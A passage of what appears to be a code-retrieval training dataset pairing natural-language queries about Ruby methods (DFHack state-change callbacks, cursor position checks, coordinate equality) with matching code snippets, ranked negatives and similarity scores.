"0.5266145",
"0.52405864",
"0.5235679",
"0.52125525",
"0.52000123",
"0.5190338",
"0.5189053",
"0.5184139",
"0.5182204",
"0.5182204",
"0.5179604",
"0.51793206",
"0.51756406",
"0.5173627",
"0.5171153",
"0.5169673",
"0.5167583",
"0.5154556",
"0.5153316",
"0.5151703",
"0.51506984",
"0.51483464",
"0.5145865",
"0.514316",
"0.5140809",
"0.51381254",
"0.5129285",
"0.51279867",
"0.5127143",
"0.5125608",
"0.5114312",
"0.5110768",
"0.51089674",
"0.5107469",
"0.51070184",
"0.50979686",
"0.5097312",
"0.5095635",
"0.5095356",
"0.50918734",
"0.5087692"
] |
0.79283726
|
1
|
this method is called by dfhack every 'onstatechange'
|
def onstatechange(newstate)
@onstatechange_list ||= []
@onstatechange_list.each { |cb| cb.call(newstate) }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def on_data_changed; end",
"def state\n end",
"def fire_state_changed\n @sce = ChangeEvent.new(self) if @sce.nil?\n fire_handler :STATE_CHANGE, @sce\n end",
"def enter_state\n end",
"def event; end",
"def event; end",
"def event; end",
"def on_state_begin(state_id)\n end",
"def state_on_updateclient\n @log.debug(\"Net_state: change to state state_on_updateclient\")\n @network_state = :state_on_updateclient\n make_state_change_ntfy(:ntfy_state_onupdate)\n end",
"def states; end",
"def event_change\n\t\n\tend",
"def on?; self.refresh!['state']['on']; end",
"def before_state(state)\n end",
"def state_code\n end",
"def across_service_state\n super\n end",
"def on_state_timeup(state_id)\n end",
"def after_state(state)\n end",
"def extra_state; end",
"def onStart\r\n end",
"def state_code\n end",
"def answer_on_incoming()\n update({:state => 'active'})\n reload()\n end",
"def renegotiation_state\n super\n end",
"def getClientState \n \"getClientState\" \n end",
"def handle_invalid_state\r\n logger.error \"INVALID STATE DETECTED:\\n #{caller.join(\"\\n\")}\"\r\n @web_analytics.page_stack = ['Admin', 'Invalid State']\r\n @web_analytics.error_page = true\r\n @left_rail_ad_pixels = -1\r\n render :template => 'common/invalid_state', :status => 500, :layout => 'application'\r\n false\r\n end",
"def store_cherry_pick_state; end",
"def store_cherry_pick_state; end",
"def state_changed\n @state_condition.signal @state\n end",
"def events; end",
"def events; end",
"def events; end",
"def events; end",
"def events; end",
"def events; end",
"def events; end",
"def events; end",
"def live\r\n @state=1\r\n end",
"def event_state=(new_state)\n self[:event_state] = FFILib::ReaderStateQuery.pack_state new_state\n end",
"def check_source_state\n super\n end",
"def machine_state_updated( machine_state )\n\t\t# update the display on the main queue\n\t\tXAL::DispatchQueue.getMainQueue().dispatchAsync( lambda {|| self.refresh_live_display } )\n\tend",
"def notify_UI\n if self.state == 'start'\n Rho::WebView.executeJavascript('$(\"body\").trigger(\"onSyncStarted\");')\n end\n\n if self.state == 'in_progress'\n Rho::WebView.executeJavascript(\"$('body').trigger('onSyncSourceInProgress', '#{self.source_name}');\")\n end\n\n if self.state == 'ok'\n Rho::WebView.executeJavascript(\"$('body').trigger('onSyncSourceCompleted', '#{self.source_name}');\")\n end\n\n if self.state == 'complete'\n Rho::WebView.executeJavascript(\"$('body').trigger('onSyncCompleted', '#{formatted_time}');\")\n end\n\n if self.state == 'error'\n Rho::WebView.executeJavascript(\"$('body').trigger('onSyncError');\")\n end\n\n end",
"def update_shipment_state\n self.shipment_state =\n case shipments.count\n when 0\n nil\n when shipments.delivered.count\n 'delivered'\n when shipments.shipped.count\n 'shipped'\n when shipments.ready.count\n 'ready'\n when shipments.pending.count\n 'pending'\n else\n 'partial'\n end\n self.shipment_state = 'backorder' if backordered?\n\n if old_shipment_state = self.changed_attributes['shipment_state']\n self.state_events.create({\n :previous_state => old_shipment_state,\n :next_state => self.shipment_state,\n :name => 'shipment',\n :user_id => (Spree::User.respond_to?(:current) && Spree::User.current && Spree::User.current.id) || self.user_id\n })\n end\n end",
"def stale_state\n end",
"def on_db_service_state(context, host, port, ostate)\n\tend",
"def states\n raise \"You must override the states method.\"\n end",
"def state_changed\n\t\t\t@form.folderList.count == 0 ? state_no_items : state_has_items\n\t\tend",
"def explicit_state\n super\n end",
"def on_open\n\t\t\ttrue\n\t\tend",
"def update_state\n raise \"Nothing to do\"\n end",
"def set_queue_changes\n Rails.application.config.queue_changes = params[:state]\n render :get_queue_changes\n end",
"def route_advertisement_state\n super\n end",
"def handle_event(event)\n\n\t\tend",
"def callback_phase\n super\n end",
"def callback\n\tend",
"def on_server_update(ev)\n\t\tif(cookies_are_tasty(ev.client,ev.cookie))\n\t\t\tev.client.is_nice=true\n\t\t\tmunch_on(ev.cookie)\n\t\tend\n\t\tif(not ev.client.is_nice)\n\t\t\tpost_event UnauthorizedConnectionEvent.new(ev.src)\n\t\t\treturn\n\t\tend\n\t\tif(ev.build_date!=SUPPORTED_VERSION)\n\t\t\tclient.post_event WrongVersionEvent.new(self,ev.build_date)\n\t\t\treturn\n\t\tend\n\t\tif(false==client.serialize_from_db())\n\t\t\tpost_event DbErrEvent.new(ev.src)\n\t\telse\n\t\t\tclient.post_event SlotListEvent.new(self,client)\n\t\tend\n\tend",
"def read_state\n end",
"def on_ready\n end",
"def handler; end",
"def handler; end",
"def on_update; end",
"def on_after_load\n end",
"def update_state\r\n case @state\r\n when STATE_PICK\r\n @ip1.copy! @ip\r\n Sketchup::set_status_text \"[WALL] Click for end of wall\"\r\n Sketchup::set_status_text \"Length\", SB_VCB_LABEL\r\n Sketchup::set_status_text \"\", SB_VCB_VALUE\r\n @state = STATE_PICK_NEXT\r\n\twhen STATE_PICK_NEXT\r\n\t\tself.draw_wall\r\n\t\treset\r\n end\r\nend",
"def after_created\n super.tap do |val|\n app_state_ruby(self)\n end\n end",
"def on_db_service_state(host, port, ostate)\n\tend",
"def on_state(state, &block)\n end",
"def game_state\n end",
"def set_published_state; end",
"def configsyncd_state\n super\n end",
"def on_pre_request( request ); end",
"def mapping_source_combo_box_item_state_changed(event)\n if(event.getStateChange == ItemEvent::SELECTED )\n puts \"IN MappingTabController : ITEM STATE #{event.getItem} : CHANGE STATE [#{event.getStateChange}]\"\n update_model(view_state.model, :mapping_source)\n signal :mapping_source_changed\n end\n\n end",
"def callbacks; end",
"def callbacks; end",
"def on_state_apply(state_id)\n reset_effect_param_cache\n end",
"def on_pre_request( request )\n end",
"def changed(state=true)\n @observer_state = state\n end",
"def before_appending( state )\n\t\t# Nothing to do\n\t\treturn nil\n\tend",
"def on_enter\n end",
"def handlers; end",
"def handlers; end",
"def handlers; end",
"def set_PostState(value)\n set_input(\"PostState\", value)\n end",
"def bridge_in_standby_state\n super\n end",
"def unicast_redirect_state\n super\n end",
"def ready; end",
"def ready; end",
"def across_virtual_state\n super\n end",
"def post_init\n end",
"def _activate\n\t\t\tend",
"def source_check_state\n super\n end",
"def update_state\n puts \"******* update_state *******\"\n puts \"** params.inspect: #{params.inspect}\"\n puts \"** params[:event]: #{params[:event]}\"\n # events: submit process ship deliver confirm cancel\n @msg = \"result state: \"\n\n if params[:event] == \"submit\"\n if @@ORDER_STATE == nil\n @state = 1\n update_order(@msg)\n else\n @msg = \"previous status: #{@@ORDER_STATE}\"\n flash[:notice] = @msg\n end\n elsif params[:event] == \"process\"\n if @@ORDER_STATE == \"ordered\"\n @state = 2\n update_order(@msg)\n else\n @msg = \"previous status: #{@@ORDER_STATE}\"\n flash[:notice] = @msg\n end\n elsif params[:event] == \"ship\"\n if @@ORDER_STATE == \"processing\"\n @state = 3\n update_order(@msg)\n else\n @msg = \"previous status: #{@@ORDER_STATE}\"\n flash[:notice] = @msg\n end\n elsif params[:event] == \"deliver\"\n if @@ORDER_STATE == \"shipping\"\n @state = 4\n update_order(@msg)\n else\n @msg = \"previous status: #{@@ORDER_STATE}\"\n flash[:notice] = @msg\n end\n elsif params[:event] == \"confirm\"\n if @@ORDER_STATE == \"delivered\"\n @state = 5\n update_order(@msg)\n else\n @msg = \"previous status: #{@@ORDER_STATE}\"\n flash[:notice] = @msg\n end\n elsif params[:event] == \"cancel\"\n @state = 6\n update_order(@msg)\n else\n @state = 0\n update_order(@msg)\n end\n # logs the current state\n # print_state\n puts \"** @state: #{@state}\"\n end",
"def on_init; end",
"def on_init; end"
] |
[
"0.6405733",
"0.6405733",
"0.6405733",
"0.6405733",
"0.6405733",
"0.6405733",
"0.6405733",
"0.6405733",
"0.621362",
"0.6182524",
"0.61487603",
"0.60473204",
"0.59840256",
"0.59840256",
"0.59840256",
"0.59454995",
"0.5939994",
"0.5933506",
"0.58022386",
"0.57971865",
"0.5745441",
"0.56945217",
"0.56777364",
"0.5677639",
"0.56673026",
"0.5646642",
"0.563126",
"0.55996996",
"0.5597072",
"0.5554617",
"0.5526306",
"0.5517078",
"0.5514337",
"0.5514337",
"0.5510787",
"0.54959786",
"0.54959786",
"0.54959786",
"0.54959786",
"0.54959786",
"0.54959786",
"0.54959786",
"0.54959786",
"0.5486026",
"0.5465629",
"0.5422452",
"0.5407363",
"0.5391934",
"0.53624934",
"0.53598577",
"0.5353417",
"0.53517616",
"0.5340387",
"0.53386736",
"0.5322884",
"0.5320931",
"0.5317158",
"0.53159267",
"0.5310987",
"0.5306427",
"0.5300962",
"0.5299453",
"0.52918315",
"0.5285266",
"0.52840143",
"0.52840143",
"0.52702147",
"0.5260164",
"0.52471614",
"0.52367514",
"0.5236343",
"0.5231017",
"0.5221651",
"0.5220009",
"0.5219981",
"0.521263",
"0.5210677",
"0.5201227",
"0.5201227",
"0.51958776",
"0.5194501",
"0.5194095",
"0.51906055",
"0.51842946",
"0.5174379",
"0.5174379",
"0.5174379",
"0.51722497",
"0.51707435",
"0.51705307",
"0.5169375",
"0.5169375",
"0.5158987",
"0.51529306",
"0.51413685",
"0.5137926",
"0.5135962",
"0.51235133",
"0.51235133"
] |
0.5854729
|
19
|
return true if the argument is under the cursor
|
def at_cursor?(obj)
same_pos?(obj, cursor)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def needs_cursor?\n\t\ttrue\n\tend",
"def needs_cursor?\n\t\ttrue\n\tend",
"def cursor_left?\r\n @item_window.index % 2 == 0\r\n end",
"def needs_cursor?; end",
"def needs_cursor?\r\n \ttrue\r\n \t end",
"def needs_cursor?\n true\n end",
"def needs_cursor?\n true\n end",
"def needs_cursor?\n true\n end",
"def needs_cursor?\n true\n end",
"def needs_cursor?\n true\n end",
"def needs_cursor?\n true\n end",
"def needs_cursor?\n true\n end",
"def needs_cursor?\n true\n end",
"def needs_cursor?\n true\n end",
"def needs_cursor?\n true\n end",
"def needs_cursor?\n true\n end",
"def needs_cursor?\n true\n end",
"def needs_cursor?\n true\n end",
"def needs_cursor?\n true\n end",
"def cursor_movable?\n active && open?\n end",
"def needs_cursor?\n \ttrue\n end",
"def needs_cursor?\n true\n end",
"def cursor_movable?\n return false\n end",
"def same_cursor_position?\n window.cursor[1] == @history.start_pos && \n window.cursor[0] == @history.line_number\n end",
"def under_mouse?\n @window.mouse_x > x - PADDING and @window.mouse_x < x + WIDTH + PADDING and\n @window.mouse_y > y - PADDING and @window.mouse_y < y + height + PADDING\n end",
"def check_cursor!\n @current_cursor or raise NoCursor.new(\"You have not defined anything to work with!\")\n end",
"def cursor_movable?\n active && open? && !@cursor_fix && !@cursor_all\n end",
"def start?\n @cursor == 0\n end",
"def under_point?(mouse_x, mouse_y)\n mouse_x > x - PAD && mouse_x < x + width + PAD && mouse_y > y - PAD && mouse_y < y + height + PAD\n end",
"def needs_cursor?\n return true\n end",
"def cursor_can_move_left?\n return (@cursor_position > 0)\n end",
"def needs_cursor?\n return true\n end",
"def under_point?(mouse_x, mouse_y)\n mouse_x > x - PADDING_X and mouse_x < x + @width + PADDING_X and\n mouse_y > y - PADDING_Y and mouse_y < y + @height + PADDING_Y\n end",
"def cursor_visible?\n if front?\n front.cursor_visible?\n\n elsif previous?\n previous.cursor_visible?\n\n else\n interface.cursor_visible?\n\n end\n end",
"def under_point?(mouse_x, mouse_y)\n mouse_x > x - PADDING and mouse_x < x + width + PADDING and\n mouse_y > y - PADDING and mouse_y < y + height + PADDING\n end",
"def start?\n @cursor.zero?\n end",
"def only_cursor_moved flag=true\n @cursor_movement = flag\nend",
"def under_point?(mouse_x, mouse_y)\n border.contains?(mouse_x, mouse_y)\n end",
"def alive?\n @cursor_id != CLOSED_CURSOR\n end",
"def over?\n end",
"def cursor_can_move_right?\n return (@cursor_position < @text.scan(/./m).size)\n end",
"def refresh_view?\n cursor.visible? && cursor.ox >= width || cursor.oy >= height\n end",
"def taken?(user_input)\n position(user_input) == \"X\" || position(user_input) == \"O\" ? true : false\n end",
"def taken?(input)\n\t\tif position(input) == \"X\" || position(input) == \"O\"\n\t\t\ttrue # Position is taken\n\t\telse\n\t\t\tfalse # Position is free\n\t\tend\n\tend",
"def inside?(mouse_x, mouse_y)\n pos_x = @x * @width\n pos_y = @y * @height\n mouse_x >= pos_x && mouse_x <= pos_x + @width && \\\n mouse_y >= pos_y && mouse_y <= pos_y + @height\n end",
"def mouse_over?\n return @window.mouse_x.between?(@x, @x+@width) && @window.mouse_y.between?(@y, @y+@height)\n end",
"def over?\n\n end",
"def mouse_over?\n\t\tmouse_x = @janela_pai.mouse_x\n\t\tmouse_y = @janela_pai.mouse_y\n\t\tmouse_x > @x and mouse_x < @x + @largura_campo and\n\t\tmouse_y > @y and mouse_y < @y + height\n\tend",
"def only_cursor_moved?\n # only movement has happened within this page, don't redraw\n return unless @cursor_movement && @old_cursor\n\n # if cursor has not moved (first or last item on screen)\n if @old_cursor == @cursor\n place_cursor # otherwise highlight vanishes if keep pressing UP on first row.\n @cursor_movement = false\n return true # next in the loop\n end\n\n # we may want to print debug info if flag is on\n if @debug_flag\n clear_last_line\n print_debug_info\n else\n status_line\n end\n\n place_cursor\n @cursor_movement = false\n return true # next in the loop\nend",
"def taken?(input_position)\n self.position(input_position) == \"X\" || self.position(input_position) == \"O\"\n end",
"def IS_POINTER_INRANGE_WPARAM(wParam)\n IS_POINTER_FLAG_SET_WPARAM(wParam, POINTER_MESSAGE_FLAG_INRANGE)\n end",
"def taken?(input)\n position(input) == \"X\" || position(input) == \"O\"\n end",
"def taken?(input)\n position(input) == \"X\" || position(input) == \"O\"\n end",
"def mouse_over?\n mx = @window.mouse_x\n my = @window.mouse_y\n (mx >= @x && my >= @y) &&\n (mx <= @x + @font.text_width(@text)) &&\n (my <= @y + @font.height)\n end",
"def cursor\n try_set_screen\n\t ptr = ::FFI::MemoryPointer.new(:int)\n Klass.getCursonOn(@handle, ptr)\n (ptr.get_int(0) == 0) ? false : true\n end",
"def taken?(location)\n position(location) != \" \"\n end",
"def pos_nt?(x, y)\r\n pos?(x, y) && !@through\r\n end",
"def cursor_y\n return 2\n end",
"def position_taken?\nend",
"def taken?(input)\n (position(input) == \"X\" || position(input) == \"O\")\n end",
"def click?(key)\n return false if key.is_a?(Symbol)\n\n key.is_a?(Vedeu::Cursors::Cursor) || key.start_with?(\"\\e[M\")\n end",
"def over?\n if controller.contains?(*controller.translate_absolute(x, y))\n # the event occurred within this component's local space\n @over = true\n end\n end",
"def mouse_on_window?\n return false unless $mouse.on_screen?\n pos = $mouse.position\n return (pos[0] >= self.x and pos[0] < self.x + self.width and\n pos[1] >= self.y and pos[1] < self.y + self.height)\n end",
"def taken?(input)\n position(input) != \" \"\n end",
"def within_clickable?(x, y)\n if x >= @px && x <= @qx then\n if y >= @py && y <= @qy then\n return true\n end\n end\n \n false\n end",
"def positional?\n true\n end",
"def _restore_cursor\n\t\tfalse\n\tend",
"def under?\r\n return false if $game_player.screen_x < self.x + @under[0] - @cw / 2\r\n return false if $game_player.screen_y < self.y + @under[1] - @ch\r\n return false if $game_player.screen_x > self.x + @under[2] - @cw / 2\r\n return false if $game_player.screen_y > self.y + @under[3] - @ch + 16\r\n return true\r\n end",
"def isInside(_pos)\n raise \"not defined\" ;\n end",
"def >(position)\n if @x > position.x || @y > position.y\n return true\n else\n return false\n end\n end",
"def pos_rect_nt?(x, y, rect)\r\r\n pos_rect?(x, y, rect) && !@through\r\r\n end",
"def more_after_cursor?\n more_results == :MORE_RESULTS_AFTER_CURSOR\n end",
"def star_clicked?\n inputs.mouse.down && inputs.mouse.point.inside_rect?(scale_up(grid.star))\n end",
"def mouse_over_star2?\n inputs.mouse.point.inside_rect?(move_and_scale_up(state.star))\n end",
"def click?(keys)\n return false if keys.nil? || symbol?(keys)\n\n keys.is_a?(Vedeu::Cursors::Cursor) || keys.start_with?(\"\\e[M\")\n end",
"def taken?(input)\n position(input) == \" \" ? false : true\n end",
"def mouse_over_star?\n inputs.mouse.point.inside_rect?(scale_up(state.star))\n end",
"def area_clicked(leftX, topY, rightX, bottomY)\n # complete this code\n if ((mouse_x > leftX and mouse_x < rightX) and (mouse_y > topY and mouse_y < bottomY))\n true\n else\n false\n end\nend",
"def has_point(x, y)\n is_negative = (x < 0 or y < 0)\n is_greater_than_dimensions = (x > @width or y > @height)\n\n if is_negative or is_greater_than_dimensions\n result = false\n puts \"[#{x},#{y}] is Outside of Grid, Robot will ignore command\"\n else\n result = true\n end\n\n return result;\n end",
"def mouse_over_button(mouse_x, mouse_y)\r\n if ((mouse_x >= (SCREEN_WIDTH/3) + 100 and mouse_x <= (SCREEN_WIDTH/3) + 160) and (mouse_y >= 300 and mouse_y <= 345)) \r\n return true\r\n else\r\n return false\r\n end\r\n end",
"def positional?\n false\n end",
"def positional?\n false\n end",
"def over?(object=nil,width=-1,height=-1)\n return false if object.nil?\n params=self.getObjectParams(object)\n x=params[0]\n y=params[1]\n width=params[2] if width < 0\n height=params[3] if height < 0\n return true if @x >= x && @x <= (x + width) and @y >= y && @y <= (y + height)\n return false\n end",
"def contain?(position); end",
"def command_complete?(c)\n start_index, end_index = c.index(COMMAND_EPILOG_START), c.index(COMMAND_EPILOG_END)\n start_index && end_index && start_index < end_index\n end",
"def taken?( player_input )\n position( player_input ) =~ /[XO]/ ? true : false\n end",
"def mouse_over_hill2?\n state.hills.each_key do | hill |\n return true if inputs.mouse.point.inside_rect?(move_and_scale_up(hill))\n end\n\n false\n end",
"def up?(new_x_position, new_y_position)\n (self.y_position - new_y_position.to_i) > 0 && (new_x_position == self.x_position)\n end",
"def taken?(input)\n position(input) != \"\" && position(input) != \" \"\n end",
"def contains_pos?(*args)\n s = screen_position\n px, py = *Vector2.extract(args.size > 1 ? args : args.first)\n px.between?(s.x, s.x + w) && py.between?(s.y, s.y + h)\n end",
"def inside_window?\n x >= 0 and y >= 0 and x < $window.width and y < $window.height\n end",
"def mouse_inside?\n mouse_location = self.window.mouseLocationOutsideOfEventStream\n hit_view = self.hitTest(self.convertPoint(mouse_location, fromView:nil))\n \n hit_view != nil\n end",
"def end?\n\t\twin?(\"x\") || win?(\"o\") || @board.count(\"-\") == 0\n\tend",
"def position_taken?(board, int)\n query = board[(int - 1)]\n if query == \"\" || query ==\" \" || query == nil\n false\n else\n true\n end\nend",
"def grid_clicked?\n inputs.mouse.down && mouse_inside_grid?\n end",
"def end?\n @cursor == @text.length\n end",
"def end?\n @cursor == @text.length\n end",
"def taken?(position)\n #board position -1 because of test using range 1-9 (user input numbers)\n self.cells[position.to_i-1] == \"X\" || \n self.cells[position.to_i-1] == \"O\"\n end",
"def lkeyboard?(x, y)\n return x < @params[:width] / 2\n end"
] |
[
"0.6748322",
"0.6748322",
"0.67130995",
"0.66899663",
"0.6686582",
"0.66680133",
"0.66680133",
"0.66680133",
"0.66680133",
"0.66680133",
"0.66680133",
"0.66680133",
"0.6663039",
"0.6663039",
"0.6663039",
"0.6663039",
"0.6663039",
"0.6663039",
"0.6663039",
"0.66532105",
"0.6646044",
"0.6636982",
"0.6623484",
"0.66189325",
"0.6581294",
"0.6561758",
"0.65418655",
"0.65357304",
"0.65328324",
"0.6476387",
"0.6475917",
"0.647186",
"0.6450393",
"0.6450202",
"0.64308834",
"0.6326775",
"0.62613285",
"0.6244811",
"0.62128097",
"0.6203776",
"0.62011683",
"0.61834586",
"0.61797714",
"0.6172091",
"0.6140488",
"0.6118225",
"0.6116508",
"0.60948455",
"0.60913634",
"0.606373",
"0.6007764",
"0.59937596",
"0.59937596",
"0.5979837",
"0.59774417",
"0.5974269",
"0.59724694",
"0.59673226",
"0.59449226",
"0.5940554",
"0.59298056",
"0.5893992",
"0.5882731",
"0.58785355",
"0.58724314",
"0.58716416",
"0.5867574",
"0.58595717",
"0.5858516",
"0.5851837",
"0.5827598",
"0.58224046",
"0.57798266",
"0.57726985",
"0.5768091",
"0.5766783",
"0.5758884",
"0.57532376",
"0.5737473",
"0.5734518",
"0.572364",
"0.572364",
"0.57169795",
"0.57147527",
"0.57076013",
"0.57055527",
"0.5688892",
"0.5679492",
"0.5674028",
"0.56687105",
"0.56600934",
"0.56531715",
"0.5651352",
"0.5636056",
"0.56299037",
"0.5628495",
"0.5628495",
"0.5626944",
"0.5625781"
] |
0.7357218
|
1
|
returns true if both arguments are at the same x/y/z
|
def same_pos?(pos1, pos2)
pos1 = pos1.pos if pos1.respond_to?(:pos)
pos2 = pos2.pos if pos2.respond_to?(:pos)
pos1.x == pos2.x and pos1.y == pos2.y and pos1.z == pos2.z
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def Point3dEqual(arg0, arg1)\n ret = _invoke(1610743875, [arg0, arg1], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end",
"def ==(c) \n (@x == c.x) && (@y == c.y)\n end",
"def == point\t\n\t\t@x == point.x && @y == point.y\t\n\tend",
"def isEqual(p)\n (p.x == x) && (p.y == y)\n end",
"def triangle?((x1, y1), (x2, y2), (x3, y3))\n return false if (x1, y1) == (x2, y2) || (x1, y1) == (x3, y3) || (x2, y2) == (x3, y3)\n return false \n true\nend",
"def is_at?( x, y )\n return x == @x && y == @y\n end",
"def ==(comp)\n comp.x === x && comp.y === y\n end",
"def equal?(point)\r\n return true if @x == point.x and @y == point.y\r\n return false\r\n end",
"def Range3dEqual(arg0, arg1)\n ret = _invoke(1610744093, [arg0, arg1], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end",
"def ==(other)\n other.x == @x && other.y == @y\n end",
"def is_obstructed?(x1, y1, x2, y2, bad)\n bad.include?(\"#{x1} #{y1} #{x2} #{y2}\") || bad.include?(\"#{x2} #{y2} #{x1} #{y1}\")\nend",
"def ==(point3)\n (@x == point3.x)&&(@y == point3.y)&&(@z == point3.z)\n end",
"def Vector3dEqual(arg0, arg1)\n ret = _invoke(1610744204, [arg0, arg1], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end",
"def oor?(x, y=0, z=0)\n return true if x < 0 || y < 0 || z < 0\n return true if xsize <= x\n return true if ysize <= y if ysize > 0\n return true if zsize <= z if zsize > 0\n return false\n end",
"def eql?(other)\n (@x == other.x) && (@y == other.y)\n end",
"def all_same?(first_operand, arglist)\n if arglist.empty?\n boolean(true)\n else\n first_value = first_operand.value\n all_equal = arglist.all? { |elem| first_value == elem.value }\n boolean(all_equal)\n end\n end",
"def vars_eq?(x1, x2) ; x1[0] == x2[0] ; end",
"def inp(x, *a)\n a.each {|v| return true if x === v}\n return false\nend",
"def same(u, p)\n u == p\nend",
"def ==(p)\n @x == p.x && @y == p.y \n end",
"def obstructed?(new_x, new_y); end",
"def equilateral?(a, b, c)\n a == b && b == c\nend",
"def same?(point, delta = POINT_DELTA)\n if ((@x + delta > point.x && @x - delta < point.x &&\n @y + delta > point.y && @y - delta < point.y))\n return true\n end\n return false\n end",
"def ==(other_point)\r\n if other_point.class != self.class\r\n false\r\n else\r\n @x == other_point.x and @y == other_point.y and @z == other_point.z and @m == other_point.m\r\n end\r\n end",
"def crossing?(other); end",
"def crossing?(other); end",
"def crossing?(other); end",
"def eql?(other_point)\n @x == other_point.x && @y == other_point.y\n end",
"def ==(x)\n x.class == self.class && @f == x.f && @args == x.args\n end",
"def xor?(arg1, arg2)\n if !!arg1 == !!arg2\n false\n else\n true\n end \nend",
"def ==(other)\n return false unless other.is_a? CommandArgs\n @args == other.args && @kwargs == other.kwargs\n end",
"def isSame(tab)\n for x in 0..3\n for y in 0..3\n return(false) if (self.val(x,y) != tab.val(x,y)) ;\n end\n end\n return true ;\n end",
"def arguments_passed?\n !!(ARGV[0] && ARGV[1] && ARGV[2])\n end",
"def xor?(arg1, arg2)\n if arg1 && !arg2 || !arg1 && arg2\n true\n else\n false\n end\nend",
"def xor?(arg1, arg2)\n if arg1 && arg2\n false\n elsif !arg1 && !arg2\n false\n else \n true\n end\nend",
"def xor?(arg1, arg2)\n if arg1 && !arg2 ||\n !arg1 && arg2\n return true\n else\n return false\n end\nend",
"def equal_dimension?(x,y)\n (one_dimension?(x) && one_dimension?(y)) ||\n (two_dimensions?(x) && two_dimensions?(y))\nend",
"def coincident?(other)\n center.distance(other.center) == 0 and @r == other.r\n end",
"def equals?(position)\n @x == position.x && @y == position.y\n end",
"def ==(position)\n @x == position.x && @y == position.y\n end",
"def ==(other)\n return false unless other.is_a? Normal3\n @x == other.x && @y == other.y && @z == other.z\n end",
"def ==(other)\n other.kind_of?(Vector3D) &&\n other.x == x && other.y == y && other.z == z\n end",
"def ==( other )\n @x == other.x and @y == other.y and @type == other.type\n end",
"def samedirection?(vector2)\n end",
"def triplet_check(a,b,c)\n\tif a**2+b**2 == c**2\n\t\treturn true\n\telse\n\t\treturn false\n\tend\nend",
"def xor?(arg1, arg2)\n if arg1 && !arg2\n true\n elsif !arg1 && arg2\n true\n else \n false\n end\nend",
"def Point2dEqual(arg0, arg1)\n ret = _invoke(1610743832, [arg0, arg1], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end",
"def contains?(*args)\n x, y = *Vector2.extract(args.singularize)\n x.between?(self.x, self.x2 - 1) && y.between?(self.y, self.y2 - 1)\n end",
"def ==(other)\n result = (other.x == x && other.y == y && other.z == z)\n # puts \"(#{other.x} == #{x} && #{other.y} == #{y} && #{other.z} == #{z}) = #{result.inspect}\"\n result\n end",
"def xor?(arg_1, arg_2)\n if (arg_1 && arg_2) \n return false\n elsif (arg_1 || arg_2)\n return true\n else\n return false\n end\nend",
"def xor?(arg1, arg2)\r\n (arg1 && !arg2) || (arg2 && !arg1)\r\nend",
"def correct_combination?(attr1, attr2, attr3)\n result = false\n if attr1 == attr2 && attr2 == attr3\n result = true\n elsif attr1 != attr2 && attr2 != attr3 && attr1 != attr3\n result = true\n end\n return result\n end",
"def == (other_object)\n other_object.x == @x && other_object.y == @y\n end",
"def == (other_object)\n other_object.x == @x && other_object.y == @y\n end",
"def in?(x, y)\n ((x-@x)**2) + ((y-@y)**2) <= (@r**2)\n end",
"def xor?(arg1, arg2)\n (arg1 && !arg2) || (arg2 && !arg1) ? true : false\nend",
"def test_two_valid_arguments\n\t\tc = Check.new\n\t\trefute c.check_arguments([1,1])\n\tend",
"def res_include(x, y, res)\r\n res.each{|rx, ry| return true if x == rx && y == ry}\r\n return false\r\n end",
"def is_pythagorean_triplet?(x, y, z)\n return false if (x == y || y == z || x == z)\n sorted = [x, y, z].sort!\n a, b, c = sorted\n a**2 + b**2 == c**2\nend",
"def params_check(*args)\n if args.length == 1\n if args[0].class == Array\n if params[args[0][0]][args[0][1]] && !params[args[0][0]][args[0][1]].nil?\n true\n end\n else \n if params[args[0]] && !params[args[0]].nil?\n true\n end\n end\n elsif args.length == 2\n if args[0].class == Array\n if params[args[0][0]][args[0][1]] && params[args[0][0]][args[0][1]] == args[1]\n true\n end\n else\n if params[args[0]] && params[args[0]] == args[1]\n true\n end\n end \n end\n end",
"def equals(one, two)\n matched_by(one, two)\n matched_by(two, one)\n end",
"def ==(other)\n @x == other.x && @y == other.y\n rescue NoMethodError\n false\n end",
"def same?(user,pass)\n if user == pass\n true\n else\n false\n end\nend",
"def isTriplet(a,b,c)\n\tif (a**2 + b**2 == c**2)\n\t\treturn true\n\tend\nend",
"def ==(*several_variants)\n #This is a stub, used for indexing\n end",
"def Transform3dEqual(arg0, arg1)\n ret = _invoke(1610743942, [arg0, arg1], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end",
"def xor?(first_arg, second_arg)\n return true if first_arg == false && second_arg == true\n return true if first_arg == true && second_arg == false\nend",
"def contains_relative_pos?(*args)\n px, py = *Vector2.extract(args.size > 1 ? args : args.first)\n px.between?(0, w) && py.between?(0, h)\n end",
"def xor?(x, y)\n return true if x && !y\n return true if y && !x\n false\nend",
"def xor?(x, y)\n return true if x && !y\n return true if y && !x\n false\nend",
"def valid_coords(i, j)\n (0...height) === i && (0...width) === j\n end",
"def one?(parameter, other)\n (send(parameter)) ^ (other.send(parameter))\n end",
"def same?(other)\n (from_end == other.from_end and\n to_end == other.to_end and\n overlap == other.overlap)\n end",
"def same?(other)\n (from_end == other.from_end and\n to_end == other.to_end and\n overlap == other.overlap)\n end",
